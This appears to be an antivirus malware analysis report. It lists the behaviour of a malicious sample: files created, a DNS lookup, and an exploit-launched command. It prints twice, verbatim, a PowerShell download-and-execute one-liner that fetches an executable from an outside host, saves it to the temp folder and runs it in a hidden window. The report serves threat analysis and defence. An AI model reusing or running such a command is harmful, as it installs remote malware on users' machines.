Technical Information
Malicious functions
Downloads and executes
- http://tomunix88.pw/tomtop.exe as %temp%\carnitine.exe
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /c PowerShell(New-Object System.Net.WebClient).DownloadFile('http://tomunix88.pw/tomtop.exe','%TEMP%\carnitine.exe');Start-Process '%TEMP%\carnitine.exe';
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1960
Modifies file system
Creates the following files
- %TEMP%\754030.cvr
Network activity
UDP
- DNS ASK to###ix88.pw
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /c PowerShell(New-Object System.Net.WebClient).DownloadFile('http://tomunix88.pw/tomtop.exe','%TEMP%\carnitine.exe');Start-Process '%TEMP%\carnitine.exe';' (with hidden window)
